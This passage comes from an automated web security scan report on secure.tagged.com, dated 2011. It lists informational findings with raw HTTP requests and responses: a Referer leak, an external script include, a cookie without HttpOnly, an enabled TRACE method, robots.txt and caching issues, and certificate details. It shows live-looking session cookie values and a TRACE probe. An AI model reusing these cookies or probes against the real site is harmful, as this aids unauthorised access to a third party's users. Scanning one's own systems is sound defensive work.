https://www.google.com/recaptcha/api/js/recaptcha_ajax.js

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /register.html?page=index HTTP/1.1
Host: secure.tagged.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); S=k48nnbumc29k7tunhd4mautaa0; __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmc=50703532; __utmb=50703532.0.10.1305484534; __qca=P0-1020015937-1305484533946;

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:39:35 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 28544

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>Tagged - Register</title>
<link rel="stylesheet" type="text/css
...[SNIP]...

<script type="text/javascript" src="https://www.google.com/recaptcha/api/js/recaptcha_ajax.js"></script>
...[SNIP]...

8. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/register.html

Issue detail

The response dynamically includes the following script from another domain:

https://www.google.com/recaptcha/api/js/recaptcha_ajax.js

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

Response

9. Cookie without HttpOnly flag set previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

S=eukphp97h1sm400vgrjmip7qj6; path=/; domain=tagged.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

Response

10. TRACE method is enabled previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: secure.tagged.com
Cookie: 4d4a8b2e6ac7918f

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:35:59 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: secure.tagged.com
Cookie: 4d4a8b2e6ac7918f
Connection: Keep-Alive
X-Forwarded-For: 173.193.214.243

11. Robots.txt file previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: secure.tagged.com

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:36:00 GMT
Server: Apache
Last-Modified: Wed, 02 Feb 2011 17:13:08 GMT
ETag: "3d7aa9-1214-49b4fc34a7100"
Accept-Ranges: bytes
Content-Length: 4628
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/plain; charset=UTF-8

#########################################################################
# /robots.txt file for http://www.tagged.com/
# mail webmaster@tagged.com for constructive criticism
#########################
...[SNIP]...

12. Cacheable HTTPS response previous next
There are 2 instances of this issue:

/blank.html
/favicon.ico

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

12.1. https://secure.tagged.com/blank.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/blank.html

Request

GET /blank.html HTTP/1.1
Host: secure.tagged.com
Connection: keep-alive
Referer: https://secure.tagged.com/register.html?display=login
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:43:56 GMT
Server: Apache
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 69

<!DOCTYPE html><html><head><title></title></head><body></body></html>

12.2. https://secure.tagged.com/favicon.ico previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/favicon.ico

Request

GET /favicon.ico HTTP/1.1
Host: secure.tagged.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:36:03 GMT
Server: Apache
Last-Modified: Fri, 11 Jun 2010 16:40:44 GMT
ETag: "20db5b-57e-488c3ccdedb00"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/plain; charset=UTF-8
Content-Length: 1406

..............h.......(....... .......................................PPP.ddd.........ppp.NNN.........ooo.@@@.........................000...............................................................
...[SNIP]...

13. Content type incorrectly stated previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://secure.tagged.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

Response

14. SSL certificate previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.tagged.com
Issued by:	Go Daddy Secure Certification Authority
Valid from:	Tue Jun 09 16:26:18 CDT 2009
Valid to:	Tue Jul 05 18:58:16 CDT 2011

Certificate chain #1

Issued to:	Go Daddy Secure Certification Authority
Issued by:	Go Daddy Class 2 Certification Authority
Valid from:	Wed Nov 15 19:54:37 CST 2006
Valid to:	Sun Nov 15 19:54:37 CST 2026

Certificate chain #2

Issued to:	Go Daddy Class 2 Certification Authority
Issued by:	Go Daddy Class 2 Certification Authority
Valid from:	Tue Jun 29 12:06:20 CDT 2004
Valid to:	Thu Jun 29 12:06:20 CDT 2034

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by XSS.CX at Sun May 15 13:58:37 CDT 2011.